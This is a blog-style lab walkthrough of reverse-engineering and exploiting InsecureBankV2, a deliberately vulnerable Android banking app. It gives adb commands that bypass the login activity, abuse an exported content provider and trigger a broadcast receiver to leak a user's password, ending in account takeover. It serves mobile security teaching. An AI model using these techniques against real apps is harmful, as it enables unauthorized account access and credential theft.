insecurities</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*BUSDCBGMhZdfTtAjUddw8Q.png" /><figcaption>This is how the application looks like</figcaption></figure><p>Lets begin ,</p><p><strong><em>Tools I have used to reverse Engineer this android application</em> .</strong></p><p>1. apk tool (Used to decompile an android application)</p><p>2. Dex2jar ( convert . dex files into jar and smali files)</p><p>3. Jadx (used to produce Java source code from Android Dex and Apk files)</p><p><strong><em>Decompiling the apk file (apk tool)</em></strong></p><p>Here we are going to decompile the android application with apk tool , simply download the<strong><em> </em></strong><a href="https://github.com/dineshshetty/Android-InsecureBankv2"><strong><em>InsecureBankV2.apk</em></strong></a><strong> </strong>and <a href="https://apktool.org/docs/install#linux"><strong><em>apk tool </em></strong></a><strong><em>.</em></strong></p><p>Now, open a new terminal (Shortcut — ctrl+alt+t) and go to the directory where apk tool is downloaded , now to start the apk tool simply type the command :- <em>java -jar apktool_2.9.3.jar .</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*FDZ4PxGmdJzztLMRh9KVrA.png" /><figcaption>Like this…..</figcaption></figure><p>Now provide the path of the <em>apk</em> you want to decompile after that</p><p><em>java -jar apktool_2.9.3.jar d (example/home/insecureBankV2.apk).</em></p><p>Or , you guys can also simply Reverse-Engineer the file with the directly help of <strong><em>jadx-Gui</em></strong> also don’t worry I will show you that later in this article only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*h2GMELiWwEyg7hlBvjJnhQ.gif" /></figure><p>After decompiling the InsecureBankV2.apk file go to the directory where the file is saved then find the <strong><em>classes.dex</em></strong><em> </em>file .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/1*FalxB9j8MOqbDqkoEE2MKg.png" /></figure><p>You will find the file as shown in the image above (Note: <em>AndroidManifest.xml</em> is also a super important file to look at while you are trying to pentest an android application I will come to that after )</p><p>So, you must be thinking “what is classes.dex file why I am constantly mentioning about this file only ?”</p><p>Okay, let me clear that</p><p><strong>Classes.dex : </strong>When you develop an Android application, you write code in a high-level programming language like Java or Kotlin. However, Android devices don’t directly execute this source code. Instead, the code is translated into Dalvik bytecode, which is a set of low-level instructions that can be executed by the Dalvik Virtual Machine . So basically its Code of the given application is written in java and then compiled to class files, then these class files are cross compiled (with many optimisations) to dalvik VM format. Note that there also might be some .so files which are also application code but these are generated when NDK (Native Development Kit )is used.</p><p>Now , Download and install use <strong>Dex2jar</strong> (Dex2jar is a tool used in Android application development and analysis. It serves the purpose of converting Android’s Dalvik Executable (DEX) files to Java Archive (JAR) files).</p><p>To use dex2jar go to the directory where dex2jar is located and right-click then select <strong>open in terminal -&gt; ls -&gt; java -jar d2jdex2jar.sh (</strong><em>path of classes.dex file</em><strong> ) and boom we converted the files in .jar(java archieve).</strong></p><p>I think you got an idea what is classes.dex file . So , now we are going to use <strong>JADX (java decompiler) </strong>to<strong> </strong>decompile the<em> </em><strong><em>Classes.dex</em></strong> file i.e the <strong>bytecode </strong>( Unlike human-readable source code, bytecodes are compact numeric codes, constants, and references (normally numeric addresses) that encode the result of compiler). Download <a href="https://github.com/skylot/jadx/releases"><strong>Jadx</strong></a><strong>.</strong></p><p>Now, lets decompile the classes.dex file and reveal the source code after that we will reverse engineer the application.</p><p><strong>Using JADX</strong></p><ol><li>Go to the directory (jadx/build/jadx/bin/jadx-gui) where <strong>jadx </strong>is downloaded right click and select the option “open in terminal”.</li><li>Now list the files by running the command <strong>ls </strong>.</li><li>Run the command <strong><em>java -jar jd-gui-1.6.6.jar (path of </em></strong><em>InsecurebankV2-dex2jar.jar</em>) ,Jadx will start and decompile the whole source code in human readable format.</li></ol><p>All of these steps seems complicated</p><p><strong>Apktool -&gt; Dex2jar -&gt; jadx-gui.</strong></p><p>Remember I mentioned above that <em>you guys can also simply Reverse-Engineer the file directly with the help of </em><strong><em>jadx-Gui </em></strong><em>also.</em></p><p>Simply , go to the directory where <strong>jadx </strong>is located <strong>(jadx/build/jadx/bin) -&gt; right click -&gt; Open in terminal -&gt; ls -&gt; ./jadx-gui <em>(path of InsecureBankV2.apk).</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FrGymiuXIfBHUzlRRViZWg.png" /><figcaption>Jadx has been started and decompiled the whole apk.</figcaption></figure><p>So, whats this? remember I mentioned <strong><em>Manifest.xml </em></strong>is also a super important file while reverse-engineering an android application.</p><p><strong>AndroidManifest.xml</strong> : AndroidManifest.xml file is a critical component in Android application development, and it retains its significance during reverse engineering for several reasons:</p><ol><li>Application Structure and Components:</li></ol><ul><li>The manifest file outlines the overall structure of the Android application.</li><li>It identifies essential components such as activities, services, broadcast receivers, and content providers, providing a roadmap for the app’s functionality.</li><li>Permissions required by the application are specified in the manifest. This includes access to sensitive device features or user data.</li><li>Reverse engineers can analyze the manifest to understand the app’s security requirements and identify potential vulnerabilities or overreaching permissions.</li></ul><p>In summary, during reverse engineering, the AndroidManifest.xml file serves as a roadmap and key reference point. It provides insights into the app&#39;s structure, functionality, security requirements, and interactions with the Android system and other applications, aiding in the analysis and understanding of the decompiled code.</p><p>Now , Lets have a look at the <strong><em>activities</em></strong> in <strong>Manifest.xml</strong> file.</p><p><strong>Activities</strong> : An Activity is a fundamental component of an application that represents a single screen with a user interface. Activities play a key role in the user interface and interaction within an Android app.</p><pre>&lt;activity<br>            android:label=&quot;@string/app_name&quot;<br>            android:name=&quot;com.android.insecurebankv2.LoginActivity&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>                &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/activity&gt;<br>        &lt;activity<br>            android:label=&quot;@string/title_activity_file_pref&quot;<br>            android:name=&quot;com.android.insecurebankv2.FilePrefActivity&quot;<br>            android:windowSoftInputMode=&quot;adjustNothing|stateVisible&quot;/&gt;<br>        &lt;activity<br>            android:label=&quot;@string/title_activity_do_login&quot;<br>            android:name=&quot;com.android.insecurebankv2.DoLogin&quot;/&gt;<br>        &lt;activity<br>            android:label=&quot;@string/title_activity_post_login&quot;<br>            android:name=&quot;com.android.insecurebankv2.PostLogin&quot;<br>            android:exported=&quot;true&quot;/&gt;<br>        &lt;activity<br>            android:label=&quot;@string/title_activity_wrong_login&quot;<br>            android:name=&quot;com.android.insecurebankv2.WrongLogin&quot;/&gt;<br>        &lt;activity<br>            android:label=&quot;@string/title_activity_do_transfer&quot;<br>            android:name=&quot;com.android.insecurebankv2.DoTransfer&quot;<br>            android:exported=&quot;true&quot;/&gt;<br>        &lt;activity<br>            android:label=&quot;@string/title_activity_view_statement&quot;<br>            android:name=&quot;com.android.insecurebankv2.ViewStatement&quot;<br>            android:exported=&quot;true&quot;/&gt;</pre><p>We have to look at activities which are <strong>exported </strong>(The exported attribute in the &lt;activity&gt; element of the <em>AndroidManifest.xml</em> file determines whether the activity can be used by other apps or outside world).</p><p>So, we can exploit these activities by creating our own application or by using <strong>adb shell(</strong>The adb shell command opens a shell session on the connected Android device, enabling you to execute commands directly on the device&#39;s operating system from your computer. It provides a way to interact with the device&#39;s file system, execute commands, and perform debugging and diagnostic tasks.<strong>)</strong></p><p>So, here I found something interesting by which we might bypass login of an application.</p><pre>&lt;activity<br>            android:label=&quot;@string/title_activity_post_login&quot;<br>            android:name=&quot;com.android.insecurebankv2.PostLogin&quot;<br>            android:exported=&quot;true&quot;/&gt;</pre><p><strong>Post_Login_activity</strong> : Post-login” refers to the activities, processes, or functionalities that occur after a user has successfully logged into a system, application, or service. In the context of web applications or systems that require user authentication, the post-login phase encompasses everything that happens once a user has provided valid credentials and gained access.</p><p>Now, let’s see if we could bypass the login activity and gain access.</p><p>Now , we will start the adb shell by typing the command<strong> adb shell. </strong>After connecting the adb shell we will use the activity manager by typing the command <strong>am </strong>it will list all the commands .</p><p>Now , I will type the command to start the activity</p><p><strong>am start-activity -n &lt;package name&gt;/&lt;activity name&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*5bahchrLKPPZ9S_8djiMuw.png" /><figcaption>am start-activity -n com.android.insecurebankv2/com.android.insecurebankv2.PostLogin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0W5Yk9TZzGIq6LqlDBsiA.png" /></figure><p>And Boom , We have successfully bypassed the Login Activity and gained Unauthorized login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*RMO_TX_WIf-MxuKX4uNq3A.gif" /></figure><p>Even If we have Bypassed the login activity successfully we still don’t have enough advantage right now .</p><p>Now Lets have a look into the change password activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*XfIw343638HcnvttnZufgg.png" /></figure><p>Unfortunately, right now we cannot select the <strong>Username </strong>field we can only select the password field and change it . So, even if we are able to change the password we cannot provide username for which we want to change the password.</p><p>Lets have a look into the “change password” activity .</p><pre>&lt;activity<br>            android:label=&quot;@string/title_activity_change_password&quot;<br>            android:name=&quot;com.android.insecurebankv2.ChangePassword&quot;<br>            android:exported=&quot;true&quot;/&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAKYTrydtUvGOrUDwed1kA.png" /></figure><p>Here we can see there is an intent and it has some additional parameters i.e “uname” which might be the username .</p><pre>Intent intent = getIntent();<br>        this.uname = intent.getStringExtra(&quot;uname&quot;);<br>        System.out.println(&quot;newpassword=&quot; + this.uname);</pre><p>So, now we have to call this change password activity and we will have to provide the intent “uname” with a string .</p><p>Now, again start adb shell and start the password activity and lets try to provide the username i.e “uname” string into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*GHD6wP8d0AcULbMKz6J5_Q.png" /><figcaption>start-activity -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword — es “uname” “&lt;Any_random_name&gt;”</figcaption></figure><p>Now, lets see if it works .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*efWyDmrOkpJF6w_4F71uCQ.png" /></figure><p>Yeah, We have successfully provided and username . Now , lets try to change the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*jpsAzkz3e84igaPORgFNUg.png" /></figure><p>We can see that a <strong><em>Toast message</em></strong><em>- “Entered password is not complex enough” </em>appeared.</p><p>So, to check the complexity of the password we can check the <strong>change password activity </strong>.</p><pre>public class ChangePassword extends Activity {<br>    private static final String PASSWORD_PATTERN = &quot;((?=.*\\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%]).{6,20})&quot;;</pre><p>Here we can see the password complexity and minimum/maximum characters .</p><p>Let’s try again with a new password which satisfies the password pattern of the particular app. unfortunately it didn’t worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*9_K0qRlIFjC36SUT3xHlqQ.gif" /></figure><p>Okay , we have successfully changed the username but It seems like changing the password in this way will not work . So, now will try to exploit some other components of android . Lets , do it .</p><p>Now , lets have a look into the <strong>content provider</strong>(Content Providers enable different apps to share and access data in a structured way, promoting data integrity and security) .</p><pre>&lt;provider<br>            android:name=&quot;com.android.insecurebankv2.TrackUserContentProvider&quot;<br>            android:exported=&quot;true&quot;<br>            android:authorities=&quot;com.android.insecurebankv2.TrackUserContentProvider&quot;/&gt;</pre><p>I got it and its exported . Lets try to exploit it.</p><pre>public class TrackUserContentProvider extends ContentProvider {<br>    static final String CREATE_DB_TABLE = &quot; CREATE TABLE names (id INTEGER PRIMARY KEY AUTOINCREMENT,  name TEXT NOT NULL);&quot;;<br>    static final String DATABASE_NAME = &quot;mydb&quot;;<br>    static final int DATABASE_VERSION = 1;<br>    static final String PROVIDER_NAME = &quot;com.android.insecurebankv2.TrackUserContentProvider&quot;;<br>    static final String TABLE_NAME = &quot;names&quot;;<br>    static final String name = &quot;name&quot;;<br>    static final int uriCode = 1;<br>    private static HashMap&lt;String, String&gt; values;<br>    private SQLiteDatabase db;<br>    static final String URL = &quot;content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers&quot;;<br>    static final Uri CONTENT_URI = Uri.parse(URL);<br>    static final UriMatcher uriMatcher = new UriMatcher(-1);<br><br></pre><p>Okay, here we can see we got tables which is names ad “names” , then we got ID and name . We also gotthe database name here ( static final String URL = “content://com.android.insecurebankv2.TrackUserContentProvider/<strong>trackerusers</strong>”;) i.e “<strong>trackerusers</strong>”</p><p>Now, lets see what we get more.</p><pre>@Override // android.content.ContentProvider<br>    public int delete(Uri uri, String selection, String[] selectionArgs) {<br>        switch (uriMatcher.match(uri)) {<br>            case 1:<br>                int count = this.db.delete(TABLE_NAME, selection, selectionArgs);<br>                getContext().getContentResolver().notifyChange(uri, null);<br>                return count;<br>            default:<br>                throw new IllegalArgumentException(&quot;Unknown URI &quot; + uri);<br>        }<br>    }<br><br>    @Override // android.content.ContentProvider<br>    public String getType(Uri uri) {<br>        switch (uriMatcher.match(uri)) {<br>            case 1:<br>                return &quot;vnd.android.cursor.dir/u&quot;;<br>            default:<br>                throw new IllegalArgumentException(&quot;Unsupported URI: &quot; + uri);<br>        }<br>    }<br><br>    @Override // android.content.ContentProvider<br>    public Uri insert(Uri uri, ContentValues values2) {<br>        long rowID = this.db.insert(TABLE_NAME, &quot;&quot;, values2);<br>        if (rowID &gt; 0) {<br>            Uri _uri = ContentUris.withAppendedId(CONTENT_URI, rowID);<br>            getContext().getContentResolver().notifyChange(_uri, null);<br>            return _uri;<br>        }<br>        throw new SQLException(&quot;Failed to add a record into &quot; + uri);<br>    }<br><br>    @Override // android.content.ContentProvider<br>    public boolean onCreate() {<br>        Context context = getContext();<br>        DatabaseHelper dbHelper = new DatabaseHelper(context);<br>        this.db = dbHelper.getWritableDatabase();<br>        return this.db != null;<br>    }<br><br>    @Override // android.content.ContentProvider<br>    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {<br>        SQLiteQueryBuilder qb = new SQLiteQueryBuilder();<br>        qb.setTables(TABLE_NAME);<br>        switch (uriMatcher.match(uri)) {<br>            case 1:<br>                qb.setProjectionMap(values);<br>                if (sortOrder == null || sortOrder == &quot;&quot;) {<br>                    sortOrder = name;<br>                }<br>                Cursor c = qb.query(this.db, projection, selection, selectionArgs, null, null, sortOrder);<br>                c.setNotificationUri(getContext().getContentResolver(), uri);<br>                return c;<br>            default:<br>                throw new IllegalArgumentException(&quot;Unknown URI &quot; + uri);<br>        }<br>    }<br><br>    @Override // android.content.ContentProvider<br>    public int update(Uri uri, ContentValues values2, String selection, String[] selectionArgs) {<br>        switch (uriMatcher.match(uri)) {<br>            case 1:<br>                int count = this.db.update(TABLE_NAME, values2, selection, selectionArgs);<br>                getContext().getContentResolver().notifyChange(uri, null);<br>                return count;<br>            default:<br>                throw new IllegalArgumentException(&quot;Unknown URI &quot; + uri);<br>        }<br>    }<br><br>    /* loaded from: classes.dex */<br>    private static class DatabaseHelper extends SQLiteOpenHelper {<br>        DatabaseHelper(Context context) {<br>            super(context, TrackUserContentProvider.DATABASE_NAME, (SQLiteDatabase.CursorFactory) null, 1);<br>        }<br><br>        @Override // android.database.sqlite.SQLiteOpenHelper<br>        public void onCreate(SQLiteDatabase db) {<br>            db.execSQL(TrackUserContentProvider.CREATE_DB_TABLE);<br>        }<br><br>        @Override // android.database.sqlite.SQLiteOpenHelper<br>        public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {<br>            db.execSQL(&quot;DROP TABLE IF EXISTS names&quot;);<br>            onCreate(db);<br>        }<br>    }<br>}</pre><p>We have got delete , getType , insert , on create query, update etc .</p><pre>public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {<br>        SQLiteQueryBuilder qb = new SQLiteQueryBuilder();<br>        qb.setTables(TABLE_NAME);</pre><p>Here is our cursor query so, this will be our entry to this database , we can delete , insert , update and stuffs like this .</p><p>No more boring stuff , Lets hack it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*XB9laImd26UiUQyywk8OJA.gif" /></figure><p>So now run <strong>adb shell </strong>and<strong> </strong>simply type “<strong>content</strong>” it will list all the commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtGGyoUuQdd0jutt4qx8lw.png" /><figcaption>The output looks like this.</figcaption></figure><p>Now, lets try to insert a username with the help of content provider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2Mokn7bcADsdKhEaVCUcA.png" /><figcaption>content insert — uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers — bind name:s:Amit</figcaption></figure><p>Now lets check if our name has been inserted or not into this database.</p><p>To check it simply type the below command.</p><p>content query — uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7lOH2kmOwWVdpzhLK1F4w.png" /></figure><p>As we can see our name has been successfully added into the database and we could also see another users username as “jack”. Pretty interesting.</p><p>Now I will try to exploit <strong>broadcast receiver</strong>(<br>In Android, a Broadcast Receiver is a component that allows the system or other apps to send broadcast messages, and the receiver responds to these messages. It enables communication between different parts of an Android application or between different applications. Broadcast Receivers are used to listen for and react to broadcast announcements, such as system events or custom messages.) to retrieve the password somehow .</p><p>Isn’t it getting interesting ?</p><p>Now , lets reopen the manifest.xml file and search for boradcast receiver.</p><pre> &lt;receiver<br>            android:name=&quot;com.android.insecurebankv2.MyBroadCastReceiver&quot;<br>            android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter&gt;</pre><p>Here it is , now lets have a look into the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*0BpVBbmKfJVer8cGi41xBw.png" /></figure><p>Lets analyze broadcast and what stuffs its performing , the only thing we need to look for is the “onReceive” method .</p><p>So we are having two strings as we can see is the “phonenumber” and “newpass” . So we can trigger this broadcast receiver .</p><p>we can also see a message text “<em>String textMessage = “Updated Password from: “ + decryptedPassword + “ to: “ + newpass “ </em>So we know that the text message will throw a decrypted password .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*ObGEQ-3w5qUgdh9F8kvuRQ.png" /></figure><p>By understanding the above code we got to know that this will leak the password.And there is a huge mess even if we update password it will not get triggered but we are still okay because we could fetch the old password i.e via the <strong>information leakage</strong> vulnerability.</p><p>Now, run the <strong>adb shell</strong> and once again run the <strong>am</strong>(activity manager) command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*fUa2Z1wFdD68sByUqWdabQ.png" /></figure><p>Here we have it.</p><p>Now to exploit the broadcast receiver type the command. first provide the component name(package name ) and then the broadcast name then define the action name as -a .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*xlXFfnLEAVYCA0OCYrYElQ.png" /><figcaption>am broadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver -a theBroadcast</figcaption></figure><p>Now, lets see what intents we need to provide to trigger this broadcast receiver.</p><pre>String phn = intent.getStringExtra(&quot;phonenumber&quot;);<br>        String newpass = intent.getStringExtra(&quot;newpass&quot;);</pre><p>The intents we need to provide is the “<em>phonenumber</em>” and “<em>newpass</em>”</p><p>Lets trigger the broadcast receiver .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g183ixWQ3OkIbUKKFLqTCA.png" /><figcaption><em>am broadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver -a theBroadcast — es “phonenumber” “8472000123oadcast — es “phonenumber” “8472000123” — es “newpass” “HackedByAmit@123$”</em></figcaption></figure><p>Now , lets open messages and see if it recieved the broadcast or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*WTfBbRqlG2_Y8zHX95nyiw.png" /></figure><p>Yeaaaahhhhhh! we successfully fetched “<strong>jack’s</strong>” password via information disclosure vulnerability.</p><p>Now , lets see if this password works or not.</p><ol><li>Open the application</li><li>Type the username “jack” which we retrieved by exploiting content receiver.</li><li>Now , type the old password which we fetched by using broadcast receiver.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*DZYR6yKeJd3s0KQ_yB2aAg.png" /></figure><p>Now , click the login button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*AjiRgc-iWMIEuF64_gSiFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*Q6GLdt0lu4R6BinjHiZinw.gif" /></figure><p>We did it . Now we can do all the stuffs with this application as mentioned like transfer , View statement, Change password.</p><p>Lets change the password into Amit@123.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*xiXDApgqmswOfcwUfX7kMg.png" /></figure><p>Yes , I successfully changed the password which led to account takeover .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*a5wdv3rcLU-A1vN9LjzZ5Q.gif" /></figure><p>For more contents like this please do follow me on medium . I will write more value able blogs like this in future .</p><p>Connect with me on social media for more insights and discussions! Follow me on <a href="https://www.linkedin.com/in/amit-dutta72">LinkedIn</a>, and <a href="https://www.instagram.com/cyber_knight211?igsh=OXE2NmZnNGp0dHJy">Instagram</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6f5861b8db5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>